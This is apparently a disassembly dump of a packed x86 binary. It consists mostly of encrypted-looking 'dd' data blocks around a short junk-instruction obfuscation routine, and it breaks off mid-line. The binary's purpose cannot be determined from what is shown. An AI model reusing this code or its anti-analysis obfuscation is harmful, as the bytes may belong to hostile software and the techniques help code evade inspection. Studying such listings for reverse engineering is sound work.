6A2ED2F7h, 0A6F28177h dd 5F76EF39h, 81C8F180h, 5E4BC7h, 559D8900h, 0BE07E001h dd 1769h, 8BC5E180h, 0FE9501Fh, 6A000000h, 392BA5FBh, 0D0E6F129h dd 0E2DB1458h, 8159F4E4h, 7119F6EBh, 0FE829h, 59980000h dd 7D27B8DCh, 923BCFBFh, 135FD03h, 6830F95h, 81000000h dd 7A6DFCE2h, 0C381592Fh, 6EA2E75h, 81D18B66h, 35CDB5F3h dd 896AB92Ah, 81532471h, 21C354E2h, 81078F10h, 0E2DBBCC0h dd 4EF834Fh, 2A959D89h, 0EE8307E0h, 8C850F01h, 89FFFFFFh dd 0E0312585h, 40E907h, 4C790000h, 8C930C19h, 0E89DE61Dh dd 746E2E81h, 2E6C6C64h, 6C6C64h, 0B2BD1467h, 0FEB98003h dd 8 dup(0) dd 0BEE90000h, 68000006h, 7E66F3Dh, 0FA12EAE9h, 6FE568FFh dd 0E0E907E6h, 68FFFA12h, 7E670A4h, 0FA12D6E9h, 718568FFh dd 0CCE907E6h, 68FFFA12h, 7E67222h, 0FA12C2E9h, 730A68FFh dd 0B8E907E6h, 4EFFFA12h, 0C092AC66h, 350721D9h, 0AC7E9850h dd 1FF10BC3h, 1469833Dh, 0DA9476ABh, 500AEEC0h, 0C9816436h dd 3DF7DDAFh, 35584323h, 21D4327Ch, 8DB99002h, 1D33623Bh dd 62848AADh, 38FBh, 48285400h, 7AD48610h, 2B3F6167h, 9B4F3245h dd 0C2E67101h, 2E141217h, 6E3F5A74h, 0C829BA06h, 0FC9AF89h dd 0BA059D14h, 3B769929h, 4329BA06h, 0C0C619F0h, 112BE3C6h dd 0F04FD117h, 196E9AD9h, 44021389h, 46F1A98Eh, 0DCD1FD40h dd 0CD272E59h, 6F8631EBh, 0F3F8B095h, 0AF674AFCh, 98155CA9h dd 0A521DA1Ch, 5591EF44h, 7E53D46Eh, 237h, 0F5BDB3C8h dd 0D2F50C2Bh, 2E5AA594h, 8E687FD2h, 0EBE8EEA8h, 6E280EE8h dd 0FE992568h, 26EAE5B3h, 0FFCFF209h, 796A8BE8h, 0D37E361Fh dd 8DAA76CEh, 775D3776h, 0BBC1B8BDh, 2B565D78h, 0F71AD96Ah dd 65ECA9BAh, 0AFC671C4h, 1E35EFD5h, 0A9F5BCDFh, 2E8165ECh dd 0A9BDF417h, 66B965ECh, 462CFE60h, 0C9A4B38Ch, 543DA9DCh dd 4A926h, 0C6806800h, 3BF3DAACh, 0B26A4F21h, 25DDC698h dd 9D57390Bh, 90852E83h, 8DAF4AEh, 7E506A24h, 0F7C9E39Bh dd 5D3D5711h, 32624F72h, 0AA1C21D4h, 1F452B10h, 0BAA0B5FCh dd 0C36EC129h, 7DBA66BEh, 89934366h, 0A2F52E5Ah, 90775188h dd 0D6DCD3D8h, 7AA6EC64h, 6A15CDB6h, 7D363053h, 56B0267Ah dd 0BEB5BA74h, 0B1775E13h, 72B126E9h, 4E7A91AEh, 0E349B13Fh dd 7FDEE489h, 0BD10725Ch, 9AB10495h, 1A20DAC0h, 8CAB75CDh dd 8D835275h, 0B0038EDCh, 1FD9BF99h, 8C4D3305h, 0F5ECF1A9h dd 168714Ah, 1C057EADh, 401EEh, 6E281000h, 0E39B8254h dd 5A12F7C9h, 0CD856E40h, 45FFE1B3h, 38EDD62Bh, 0B0829C56h dd 26F812CCh, 9F718B43h, 5E5FFB9h, 31BAF71Ah, 52C421D4h dd 8B452BB8h, 45E22E86h, 90770B2Eh, 0A7012E5Ah, 0A0106BEh dd 0F719455Fh, 1DFE2138h, 35267C9Ch, 43DED3F6h, 459829B4h dd 2274203Fh, 0EC9D1C9Fh, 704A610Ch, 7041648Ah, 629B414h dd 17F108B3h, 0E4C67830h, 8BC2242Ah, 1388294Ch, 9BEE29B4h dd 0FBB59B95h, 0E1E0B8E4h, 5B59684Eh, 0D1902144h, 93E629B3h dd 38E8408Dh, 765154A2h, 2B103A84h, 61DC873h, 0B2319BC7h dd 0BA90C95Dh, 9A7D71B4h, 0A8FB2E53h, 0F5995CCFh, 56846DEDh dd 342h, 132DE7CFh, 88A25A41h, 0FF19D1B6h, 728C442Dh, 0EA04BEA0h dd 15F72C95h, 8B6F415Bh, 2E5B7D1h, 785E304Ah, 0D9C4A4BEh dd 0D430FBB6h, 77118321h, 9F84452Bh, 40EBE2E7h, 0A53DE33Bh dd 0CFD798AFh, 4657779h, 0A0D72761h, 0C46CF1F5h, 8D731A5Eh dd 0B2A8CBE2h, 0C2E59A0h, 6712CCB2h, 17C4B4Dh, 0B3E10000h dd 1916FAA6h, 3901D602h, 69F71E2Bh, 85E10463h, 32E5A2Ch dd 5914FBB0h, 68D4A5D7h, 25647BB8h, 0EAF02DF9h, 0DE18EAC7h dd 3D419436h, 0ADB37DE0h, 7E86306Ah, 9CB3063Bh, 0FC29C270h dd 434931DEh, 0B5729EF6h, 35CD729Eh, 5205CDFFh, 0FAFFB7A0h dd 7B9EFD03h, 391D625Ah, 337289DCh, 0DB9DA110h, 848ADD36h dd 0AB654B25h, 1BD3BA94h, 0FBE1B315h, 0D5FB6841h, 2710D8EDh dd 261F9h, 0EC8B000h, 833B22F4h, 0FAB29769h, 6D250EE0h dd 0E59F8153h, 0D84D76CBh, 50223CF6h, 0C698B26Ch, 3F112BE3h dd 0A5859F59h, 301A97BAh, 0F26421D4h, 8B452B58h, 45E22E86h dd 88CB0B2Eh, 812D2E5Ah, 2F3D960Dh, 0ABC570ECh, 0C29CEB61h dd 271E23DBh, 0E443CD21h, 11BCAACDh, 0E73A267Ah, 5A14F6D0h dd 64705754h, 9AA75AB6h, 1A20DAC0h, 0C6DD5AC6h, 790CF7A3h dd 0F9FE519Fh, 0A9C07FA1h, 588C4F86h, 3D54A7A5h, 0A9C37D63h dd 0BADEF1D7h, 6AD1D409h, 0DD441DC8h, 0F674F1C1h, 1C4DF0Dh dd 654D0000h, 0D8BF91ABh, 4F340620h, 0C2AB7D97h, 3C1EF00Ah dd 0AA136882h, 0BFD99375h, 354F09EDh, 0AEC88063h, 223CF6DCh dd 7D345742h, 0F921D42Eh, 0ECC6ED87h, 4F494F07h, 6C98AF69h dd 2AD9C9E7h, 7BFA6EBh, 5A600B02h, 0EDD0AA0Dh, 33393035h dd 0DBF231DFh, 5A02CAB8h, 0EA01542Eh, 6D732B10h, 4FD1110Bh dd 4FB6D9F0h, 0C72E5CCCh, 9C835D74h, 0E2E8DFE4h, 74184483h dd 5E2E92D9h, 0DDB3EA60h, 0AB1128D9h, 9FC5ABA5h, 0D3D9357Ch dd 43EE4121h, 0B7715729h, 79B65AB2h, 0D9F72362h, 108EF56Ch dd 4BC80B11h, 3326766Ch, 0B08AC9E0h, 100E13CBh, 7970752Dh dd 7B331CCEh, 0DB957B75h, 4F09EFC1h, 4B5A0C38h, 54705564h dd 67A9014Eh, 4672B1C8h, 6D9653ACh, 0A7EAF092h, 2E59A1CBh dd 0A809E235h, 0C5EDEF99h, 0DCAEDCh, 4D350000h, 0C0A77993h dd 371CEE08h, 0AA93657Fh, 2406D8F2h, 0D2FB506Ah, 0A7C17B5Dh dd 1D37F1D5h, 96B0684Bh, 0A24DEC4h, 951C3F2Ah, 0E121D42Dh dd 0ECC6D56Fh, 0F4BDE006h, 8A29BAA0h, 90878C37h, 4DEA368Ah dd 0CBFC1336h, 207A2E5Ch, 0E09A7E3Dh, 3439E4DBh, 0EFA98B3Dh dd 5B413F44h, 0CFB587A1h, 0A3C91015h, 0FE1A5F2Ah, 5C5A5F17h dd 2B0FC179h, 886E6C71h, 0ABD2C9CEh, 0AFD61976h, 0EDD3257Ah dd 61471933h, 0BBA4A2A7h, 4C5CE2AAh, 0C46F3068h, 664B6EADh dd 101DA0E1h, 746AB7BDh, 0BAA0EA47h, 0E1407194h, 0E3361DA0h dd 664C1E38h, 0E0941D40h, 97EA1DA0h, 0F01DDE93h, 37E242BFh dd 1C0432h, 0C69A0000h, 8C254887h, 0F229BAA0h, 0A10DA49Fh dd 0BD6929BAh, 4DB4AF9Ah, 0ABB15C12h, 432BECAAh, 0A0868489h dd 0E3E1E6h, 61454348h, 0C2A4A2A7h, 23050308h, 7D666469h dd 0DDC2C0C5h, 3B222025h, 836D7E83h, 8F5404ECh, 4832404h dd 0D0680424h, 8900002Dh, 8957241Ch, 4C781E7h, 83000000h dd 3C8704EFh, 34895C24h, 45BD5524h, 0F7314D75h, 0C4ED81DDh dd 0F76FC413h, 3AED81DDh, 816E693Ah, 0F57D3FCDh, 35F5811Ch dd 0BB29E822h, 10F333E9h, 545DEB31h, 8324348Bh, 815304C4h dd 76282404h, 468F63BAh, 0ECB95108h, 8152EB6Ch, 511AC4F1h dd 84E2931h, 24348B59h, 5E08950h, 4, 405h, 24048700h, 2434FF5Ch dd 4C4815Bh, 0E9000000h, 0FFFA0C3Bh, 0EE194587h, 740BB8ADh dd 0C50307E6h, 28B4E0FFh, 0C51066DBh, 452C3C5Fh, 58650174h dd 256D2912h, 0DFBF7C25h, 0E9FF7312h, 5F894D32h, 0E0D41836h dd 0BA8F1B18h, 0E7614717h, 3884529Eh, 430673F9h, 0EF6402B1h dd 3BDE699Ch, 0FBE833F9h, 4ABB3553h, 109A73ABh, 874033A5h dd 0FD043500h, 408503E9h, 0A90103ACh, 0D9451323h, 3BD33C0Eh dd 9C4E504Fh, 66050B10h, 2A020960h, 0AF52C3Bh, 12EA213Ah dd 0CC7B3747h, 0DE8133Bh, 0AC000000h, 148EBBECh, 0DF54A361h dd 1441EB00h, 0EE9h, 0D82BDE00h, 6A223FD8h, 1CEC7F13h dd 5B44034Bh, 7870Fh, 800F0000h, 1, 0D4C381F5h, 0B8000066h dd 4F453F00h, 198968h, 0BA665E00h, 33FF5A54h, 66591FB6h dd 8154A5B8h, 3E0CEDF1h, 0C2816604h, 0E981FF9Fh, 383D6585h dd 50F181F5h, 513E8AF8h, 38FC18Bh, 0EB83C78Ah, 0D78B6604h dd 1D850F4Eh, 66000000h, 1A03F081h, 32E9h, 0AD3AF300h dd 527C9827h, 54F3D087h, 3DE28AEFh, 6B811153h, 0A687C281h dd 0A3E927D6h, 0BCFFFFFFh, 0A67417D3h, 0F2806756h, 66AF2F85h dd 7235040h, 0E9DF596Dh dd 1Ah, 6DF3724Eh, 5 dup(0) dd 0D5E90000h, 68000004h, 7E6771Dh, 0FA0ACEE9h, 779468FFh dd 0C4E907E6h, 68FFFA0Ah, 7E678E3h, 0FA0ABAE9h, 0AA644CFFh dd 1FD7BE90h, 964E3305h, 9C1AA7Ch, 813B1DEFh, 74A91267h dd 0ECBED892h, 62344E08h, 0DBADC77Fh, 41213BF5h, 2A7E3356h dd 86F821D4h, 2DECD5AFh, 0DCE18C44h, 9641F9DEh, 0ECC66E90h dd 34A9F70Ah, 82877A5h, 4A61585Dh, 0BA388A27h, 9BA1F429h dd 7699BFA1h, 29BA393Bh, 4045F043h, 88A25C42h, 6077B45Ch dd 5A3C193Dh, 171C6F2Eh, 0DA33DDD0h, 0A2FF6021h, 0D4871E4Ch dd 3053953h, 0C6830000h, 0B3F4899Ah, 1C22C865h, 2DCABAAh dd 75B6119h, 29031A19h, 0E59F8342h, 393EE9E0h, 0BADD3C42h dd 2E5A06ACh, 81C0D72Ah, 0DA09535Eh, 0D2D82B21h, 2E58EED5h dd 7799CCFFh, 307EA1B8h, 633D490h, 8B91492Ch, 722C126Ch dd 0A66AC2C7h, 764F7289h, 0F030F4C7h, 0B8A30E31h, 81DB2F34h dd 8C37E29Ah, 0FBB59B75h, 68290FE1h, 0CEC5CA84h, 0C2DF4A23h dd 7F0E094h, 2FBD9h, 0A6604800h, 1BD3BA8Ch, 924A2F01h dd 5BDA678h, 7D3719EBh, 70A50E63h, 0E8BAD48Eh, 5E304A04h dd 0D7A9C37Bh, 3D1D37F1h, 29822F52h, 8AFC21D4h, 0F04FD1F0h dd 385B9AD9h, 29BAA079h, 69ACB205h, 2E5CD46Ch, 866077CAh dd 99D0EAA4h, 0C7CDFF6Dh, 171D4A8Ah, 7C813B1Dh, 4B5C3F19h dd 6C7B18F3h, 0EAF09B1Bh, 5F5125A7h, 20DAC0CEh, 28CCE247h dd 0E00EF7DEh, 284h, 31DD7BFh, 78924A31h, 0EF09C1A6h, 627C341Dh dd 0DAF4AE90h, 5E75C85h, 7B5F314Bh, 0F2D5A7C1h, 684E203Ah dd 0C9B494AEh, 0D42A0BA6h, 67017321h, 3E94FD1h, 64879E49h dd 2E5CD471h, 367D82D5h, 21D42B77h, 590865C6h, 0F2D7967Fh dd 83898F3Ah, 53D29347h, 0B4D8BB95h, 0D4242091h, 58035621h dd 0D2565C53h, 1ABh, 8B452B1Ch, 0E8A28886h, 355897CEh dd 29BAA07Ch, 55A9AF02h, 32556CCBh, 2E5AA6CCh, 8FF2F74Ah dd 6618D0B5h, 7CBFC57Dh, 21DA9B31h, 0F856AB0Ch, 53D4E0CAh dd 716FDE0Ah, 0C8CC846Bh, 0C9812DC7h, 2AD7F171h, 0FB7F8530h dd 2Ah, 0F04FD145h, 0A03CB6D9h, 6FC22E5Ah, 9F8A236Ah, 52B321DAh dd 0E40746FDh, 21DA9FCDh, 4A5056A9h, 53D4EB1Ch, 0BF37h dd 452B8100h, 0A688868Bh, 424701E5h, 0A0F5BCDFh, 2E8129BAh dd 0D5D3D883h, 323035EFh, 3C7B924Ch, 8A4C7C10h, 0E9E48A61h dd 29B9CAC8h, 0F3555BAEh, 92190BCh, 20F49F5Fh, 7914D71Ah dd 896F29BAh, 8789B5CFh, 0A76D103Ch, 79E80E9Bh, 0BA40337Eh dd 46F84B29h, 0E3FAA55Dh, 57B73CC0h, 0E8FF522Eh, 58722C0Eh dd 11EAA486h, 0EDF1B2B2h, 35B4E2CBh, 0E000001h, 80526C26h dd 0F5C7E199h, 6C3E5810h, 0DFB1CB83h, 0D42943FDh, 9A5436EBh dd 10CAAE80h, 894124F6h, 0FDB79D6Fh, 0F51803E3h, 21D428BCh dd 2BB650C2h, 42643649h, 8C904A30h, 4BF64C93h, 0BF795F31h dd 0C2F6EA5h, 29BA6DA5h, 56787ED1h, 868B452Bh, 0D1E8A288h dd 8B9C63A5h, 0CDD31544h, 0D2F5346Bh, 29B9B5DFh, 9C543D97h dd 8997EBF1h, 799CC0A3h, 29B9B638h, 9540EB3Eh, 47A5B7Eh dd 7DBC2E5Ah, 0D9FC575Ah, 0C6CC1F21h, 633D54A7h, 92ADC781h dd 21D9FC1Bh, 0C6E09A80h, 0C9EC12F4h, 21D9FBE8h, 0BB7D8361h dd 663D087Ah, 636813h, 46FEE7C1h, 624F4A41h, 1C21D9A9h dd 7722DCC2h, 724771h, 0D1DD0000h, 8556974Fh, 0B4376D70h dd 2CFF209h, 7C2E5C8Dh, 7D823C22h, 0D8D6DB86h, 4C1E38F2h dd 60A7AC66h, 3BC975ECh, 3680DD12h, 0AA7C9650h, 7050AC4h dd 5B370D1Eh, 3A7C7E3Fh, 49F49F57h, 5D374E44h, 240ABC74h dd 686E656Ah, 664C9EF3h, 0DAC092ACh, 0DEB81B20h, 42393EF8h dd 12123Ch, 24A80000h, 0AE664F29h, 789BB2A9h, 29BAA139h dd 0CAECF245h, 8489432Bh, 0E1E6A086h, 434800E3h, 0A2A76145h dd 308C2A4h, 64692305h, 0C0C57D66h, 2025DDC2h, 7E833B22h dd 0E289526Dh, 4C281h, 0EA830000h, 24148704h, 2414895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax mov edi, 7C21472Dh dec edi add edi, 465E299Bh inc edi dec edi xchg ebx, edi inc ebx xchg ebx, edi sub edi, 0BA98FAA7h push esp mov eax, [esp] add esp, 4 push ebx mov ebx, 8 add ebx, 7209334Ch add ebx, eax sub ebx, 7209334Ch mov [ebx], edi pop ebx mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_554887 ; --------------------------------------------------------------------------- dw 704h dd 0B157CEB4h, 0E67A3DB8h, 0FFC50307h, 7FA7ADE0h, 42BE9E41h dd 180B5856h, 0D163223Eh, 79E2BD74h, 66752547h, 0EEC34B22h dd 0D890AA04h, 4FED1A3Eh, 42CD8A57h, 31B82F1Ah, 0B2BCDA05h dd 45A4230Bh, 3539166h, 0E5AFE31Bh, 0FC5F5D68h, 95675738h dd 8DA8764Dh, 6049920Ah, 931FB07Fh, 98D8D11h, 6A07E67Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 4001C350h, 0ECB71025h, 25B86614h, 158D8948h dd 6A07E018h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0DC2AC355h, 3119FEE3h, 0E9958BBCh dd 0C707E033h, 0E0204985h, 746407h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0DA8FE7F4h dd 80BF4503h, 0C76E3ED0h, 0E022C585h, 7, 50C68100h, 0FF3B0940h dd 0E0085DB5h, 98E0F07h, 0F000000h, 386h, 0F38B6600h, 209195FFh dd 0DB8107E0h, 0B8D631h, 0DE8h, 0A8126700h, 5B0C23E7h dd 0E23CE1B5h, 0BF0FC22Fh, 6A5BF9h, 18A995FFh, 0C08B07E0h dd 0E1671FEBh, 957610BEh, 0F5216921h, 97EB5E57h, 0F0D7E96Dh dd 716508FEh, 182EB038h, 3DF94D7Bh, 13E8B8h, 0B8F90000h dd 0AF38C6DAh, 7887EA09h, 0F63173D1h, 0FC5D38Ah, 0BD89609Bh dd 7E02121h, 61F98B66h, 6880F5Bh, 1000000h, 0E0138DB5h dd 0C6C38107h, 8B00005Ah, 0E8C92BD0h, 11h, 5EEE1F7h, 50911EE2h dd 5E9A11AAh, 0B6E4D4B0h, 0C8816618h, 0FF5FAF93h, 8B661934h dd 9605EFEh, 0E00101BDh, 0EDBD2307h, 6107E00Dh, 2F3EE81h dd 958B0CA1h, 7E01729h, 5E6CF681h, 0C6816C1Ch, 67459B66h dd 0D340D781h, 34895400h, 8800F0Bh, 57000000h, 860Fh, 89580000h dd 0E02D699Dh, 4E98307h, 1A89BD29h, 0F98107E0h, 0FFFFA5ECh dd 0FFA1850Fh, 0B589FFFFh, 7E02E65h, 7DE78D8Dh, 6A07E6h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0C57586C3h, 999D23F1h, 6007E015h, 7E98589h, 0CB8B07E0h dd 158D8961h, 8B07E018h, 0E0295595h, 4985C707h, 2807E020h dd 6A00006Fh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 560EC350h, 5A68503Fh, 22C585C7h dd 7E0h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0C57E55C3h, 4CD7550Ch, 0FFCEBFF6h dd 0E02A35B5h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0BF804A82h, 49958BE8h dd 0FF07E02Fh, 0E0209195h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 642B7AE8h dd 685121ADh, 0BFF38B66h, 4E9187D7h, 95FF006Ah, 7E018A9h dd 7EEBC08Bh, 20113043h, 51CE46D9h, 0C9EF295Fh, 0A8F99E5Ch dd 98FC2594h, 0A66BA53Bh, 70F51053h, 988E779Ah, 0A808F0Dh dd 79376A6Eh, 13AF42F6h, 0C56A6452h, 7A964A70h, 0BD86F1C9h dd 6EC90121h, 520E6FAFh, 25BE1C91h, 7CCBE80Eh, 0F407C497h dd 0B84B8361h, 103A9CACh, 35166DB2h, 3AFE92ECh, 0FD2E4F8Ah dd 501B60F2h, 5D9DB974h, 0CAD7F3A1h, 9BE1BA11h, 2969F911h dd 60755381h, 0E8175784h, 155399AAh, 595DB167h, 56AEB8B3h dd 59AED132h, 56ABB1B0h, 56D5D032h, 0BFEAB377h, 5675B138h dd 8FC68494h, 3A1A1CE8h, 610E0F88h, 5651B377h, 151DB132h dd 728DF12Ch, 56EABBDAh, 0D90F3532h, 9E8B505h, 92FD892h dd 814D769h, 5657D068h, 56ABA0DBh, 5201A132h, 0E14B48ABh dd 76906775h, 0F9EE821Fh, 0D5520A07h, 56AEB135h, 56563D3Dh dd 5653B132h, 56D54832h, 375FE152h, 84F4D768h, 56DBC804h dd 51D0BE32h, 59AEB132h, 5657B0BBh, 56AB4432h, 56D95852h dd 9C65B132h, 182DDB0Bh, 513EA18Eh, 0B03C8E06h, 56AEEB60h dd 94E4B132h, 60CAE0AAh, 0A9BEAD3Eh, 0DFE5B132h, 5675B135h dd 56BB383Dh, 74A5B132h, 0DBAEED6Ch, 5657B137h, 736A3054h dd 5655BE09h, 37EAB132h, 589CB132h, 59BAB132h, 0C0E3DE2Dh dd 8796664h, 0FAC3F059h, 59ABB14Ah, 56D5B0B9h, 56EA4D32h dd 5675BADBh, 7CCA5432h, 0C85BFF50h, 6FD771D1h, 0DF58B132h dd 56ABB133h, 59D5B1CEh, 56EAA9B8h, 56665832h, 0D02DB132h dd 0DDEA74B9h, 7471D736h, 0BB4F9178h, 0D4F67557h, 0AFD5B199h dd 0D3E5B132h, 5675B12Eh, 56A85952h, 0DEF5B132h, 0C4CBFABCh dd 0C6F6D9AFh, 0B2BA5D50h, 50DDB82Fh, 37303A6Bh, 5E9CB132h dd 42BAB132h, 31595B06h, 56698C5Ch, 565F5832h, 20C7B132h dd 4FFEF4FBh, 56EA3396h, 54F8BE52h, 36BAB132h, 565DD053h dd 56A9363Dh, 0D637B132h, 9C20BEE3h, 56DC5853h, 903AB132h dd 2B300244h, 56E511B7h, 564E5832h, 87FEB132h, 20664229h dd 0DDF185F6h, 78B2F52Bh, 944D5197h, 0BF75B136h, 56BAB122h dd 2BE09BFFh, 0A8B68A7Fh, 0FDEB0652h, 8AC0FAF6h, 0BF20B132h dd 56EAB137h, 1CC0EB94h, 0BFBAB10Bh, 565DB13Fh, 5E6545F3h dd 64803A1Ah, 673CFEh, 0BFD5B1CFh, 56EAB13Dh, 0E4B0AD94h dd 0EECAF2C2h, 1345B929h, 564A9EC6h, 57D4BE32h, 0AEABB132h dd 56D5B6DBh, 2737832h, 21176CFFh, 0D1B5B132h, 565DB133h dd 0AFAEB1C7h, 4FDFBE52h, 0BEABB132h, 56D5B121h, 0FCA862ABh dd 0E4F9CB99h, 98C8323h, 26E91056h, 0DA190F1h, 3785063Dh dd 5F42B132h, 10D5B132h, 7DE12A21h, 94BB0845h, 36BAB1CAh dd 8A6240B3h, 0E9A1E5FFh, 0DE58D0CBh, 56ABB133h, 56D5B0C7h dd 56EAB632h, 0E97AD132h, 37E4E6E4h, 44B4B132h, 83AEB132h dd 977B5D9Dh, 1F93A152h, 0C0E523C4h, 0B8151FD2h, 51A249C9h dd 56BBB138h, 565AB12Fh, 56A7B130h, 565FB342h, 0D7A4B132h dd 56D5B130h, 56EAD052h, 5675BEDBh, 0A4BBB932h, 240E02Eh dd 5191D253h, 0C8C57DBBh, 5942B132h, 0C8D5B132h, 0ED4AF04Dh dd 0F8C732A0h, 16D670Bh, 565D29A2h, 56AEBDDBh, 59A77F32h dd 0E1866D2Eh, 2E8F5AD1h, 56EC5898h, 674BB132h, 468998E9h dd 50B4B132h, 0E4AEB132h, 0BA180906h, 36ABB1FEh, 0C7FD6E8Bh dd 568B4413h, 5077F832h, 0D6BAB132h, 2C719EDEh, 0D610D755h dd 5657D04Dh, 56B8333Dh, 0E0B5B132h, 56E058FAh, 77FB132h dd 40464AB1h, 0F61975B4h, 1FAEB153h, 5657BD30h, 502FBE32h dd 59D5B132h, 56EAB1BCh, 0D780D132h, 0FECE60C3h, 565DD02Eh dd 56A1363Dh, 0BF37B132h, 56ABB13Ah, 3933372Ah, 381A566Dh dd 56750F53h, 7CD7B132h, 9A320952h, 0A825A0E4h, 0BF07D053h dd 56ABB13Eh, 55670C26h, 91408B2h, 2D7FC49Eh, 999418A4h dd 0BD67D46Eh, 56A558AEh, 0A290B132h, 36C8232Fh, 0DA6A6F2Bh dd 9F6BD7E7h, 509C884Ah, 0E0BAB132h, 14D09585h, 37F72C61h dd 44BE2DA7h, 44ABB132h, 84C51D1h, 3CBFBD0Dh, 60A44969h dd 94B71505h, 589530E1h, 0BF9EA41Ch, 5657B126h, 1DB1740Eh dd 7133F01Ah, 9598CCE6h, 49CBC872h, 6D70845Eh, 565658AFh dd 52B9B132h, 26E493DFh, 0CAA4DFDBh, 0ED43D097h, 0EB0D0AFh dd 7B31E6A7h, 7F0A4250h, 0B381FE9Ch, 0CA33DA88h, 5657BADBh dd 0CBDFF632h, 0CF355220h, 3E68E6Ch, 0BF8D74B2h, 56BAB134h dd 5BF98604h, 373362F0h, 5273F5BBh, 5942E362h, 1DD5B132h dd 710CF01Ah, 9507CCE6h, 4904C872h, 6752845Eh, 5A472D52h dd 5257B132h, 261893DFh, 0CADADFDBh, 0D7C1CB97h, 5191F7FCh dd 56B65831h, 0B69B132h, 0F0E12E0h, 439B4E2Ch, 0DD36AA18h dd 0E8FD0E2h, 56EAD06Ah, 5675A0DBh, 5E60C332h, 0DBD28193h dd 0D7A2E06Fh, 7F2F9E6Ah, 56ABA970h, 0EDB3D152h, 0E1E580AFh dd 5C9CD0E2h, 17BAB132h, 69FD14DCh, 42E8BE88h, 5657D0CBh dd 56A6383Dh, 0EEB5B132h, 2E299AD0h, 5675373Dh, 56DBB132h dd 58B4D132h, 9AEB132h, 5563CA83h, 0FBB560Dh, 5A867396h dd 7352D1D9h, 0D7257D4Ch, 71FF89E0h, 593CD020h, 56AEA4B2h dd 59DDBE32h, 0BFABB132h, 56D5B138h, 0D1698CA0h, 0D02851C9h dd 56BAD9A3h, 0AF5DB1C7h, 56AEBFDBh, 80376632h, 0B199D9CAh dd 82C0239Fh, 56C44339h, 88CFD132h, 59BE0C16h, 563C698Dh dd 56AE4832h, 565A363Dh, 5E42B132h, 0FD5B132h, 5E501F47h dd 0BFF78DB3h, 56BAB122h, 95A8441Dh, 0B35EF526h, 0B9268368h dd 0F6203213h, 562DB132h, 3A5CD132h, 561454B8h, 56AE5832h dd 9F25B132h, 0E30C1235h, 3FB73690h, 4EA49D80h, 91AF3D90h dd 0E08A71E3h, 37E006AAh, 0DFB5B132h, 565DB135h, 56AF323Dh dd 56A2B132h, 5120BE32h, 36D5B132h, 826AD052h, 5915D090h dd 56BAB2B2h, 89D6D732h, 6A463064h, 0F48356Eh, 0BFABB153h dd 56D5B126h, 90FDF47Fh, 8FEE98A1h, 0BB363A8Dh, 68179903h dd 3B808E46h, 3037B132h, 595C718Bh, 56D5B1BEh, 0D78AD032h dd 3C808EC4h, 4653307Fh, 375803EEh, 4747B132h, 0D057B132h dd 10360930h, 0E2EC5D78h, 358484FAh, 4D14ADD0h, 5B53B132h dd 9D5DB132h, 516A264Eh, 1DD4D0C6h, 6C371D8Ah, 562DB132h dd 0D78CD132h, 0DDC156DAh, 0BFDAD0F0h, 565DB139h, 2C39F37Ch dd 0FF21BDE2h, 377578A3h, 0D6DAB132h, 56EAB12Eh, 56675952h dd 0E537B132h, 44EF0E38h, 7D7D9F7h, 0B6DF5B62h, 0F232C852h dd 372C3A6Ah, 5B03B132h, 0B375B132h, 28BE52B0h, 58E326D4h dd 0B783E01h, 0AFAEB132h, 4642B132h, 0F9D5B132h, 0DEB0AA40h dd 0C8FCC8C2h, 6A10EC2Eh, 56AD874Fh, 502ABE32h, 3657B132h dd 0C31AFF85h, 0A3D5B153h, 5913B132h, 5675BDB5h, 5036BE32h dd 595DB132h, 56AEB1B1h, 0BF57B132h, 56ABB13Ch, 5FBF319Dh dd 0CFA2606Dh, 10D1CF7h, 56BA7219h, 0AE5DB1CAh, 0AFAEB1C7h dd 0BF37B132h, 56ABB137h, 628A3741h, 37003B45h, 539CB132h dd 8BAB132h, 0EE21EF1Ch, 5652B132h, 56435832h, 0BA6CB132h dd 22AE4036h, 0C40F0908h, 492A262Fh, 1F598CDh, 5FB4170Ah dd 1EAEB132h, 20EC0550h, 500FEC2Ch, 30B5B132h, 3626E78Dh dd 0CAA23054h, 37100151h, 0BF5DB153h, 56AEB139h, 837E54FBh dd 0C347D7A1h, 56F83C6Dh, 5A64BE32h, 5975B132h, 56BAB7BEh dd 56DBBE32h, 56AEB132h, 56574932h, 36ABB1CBh, 0B72C1489h dd 5666BE11h, 3775B132h, 5F53B132h, 0A5DB132h, 51B6EB39h dd 1BDC3FFAh, 5653B132h, 56D35832h, 89B2B132h, 4044A2D6h dd 5153B132h, 0A95DB132h, 0AC4BE120h, 565763C7h, 0BFABB1CEh dd 56D5B122h, 249FC484h, 0ABD5828Bh, 0FAF884F6h, 1A6AF6BCh dd 5E47B132h, 4157B132h, 0F8B37AD6h, 561B7215h, 5968BE32h dd 0BF75B132h, 56BAB138h, 0FCD47C7Ah, 2C5A7B92h, 0BF37C0ADh dd 56ABB13Eh, 7742FE5Bh, 37C008E9h, 4CEF24EBh, 56BE3F3Dh dd 0E83BB132h, 56CF4DABh, 56475832h, 7F29B132h, 0FC430B26h dd 55233D95h, 0AD25F9F0h, 56BA7A39h, 564D5852h, 994DB132h dd 0C93CCDADh, 0D483884Ah, 12F812FAh, 9461BD99h, 0E913D153h dd 0BC3B4C31h, 3C4050DDh, 0BFAEB153h, 5657B13Fh, 0DFAA5052h dd 0EB09BD44h, 8E5501BDh, 3675B10Eh, 56BABBDAh, 0F02A1332h dd 398D4995h, 0BF9C0500h, 56ABB13Ch, 93913634h, 23E65418h dd 0CBC00EB1h, 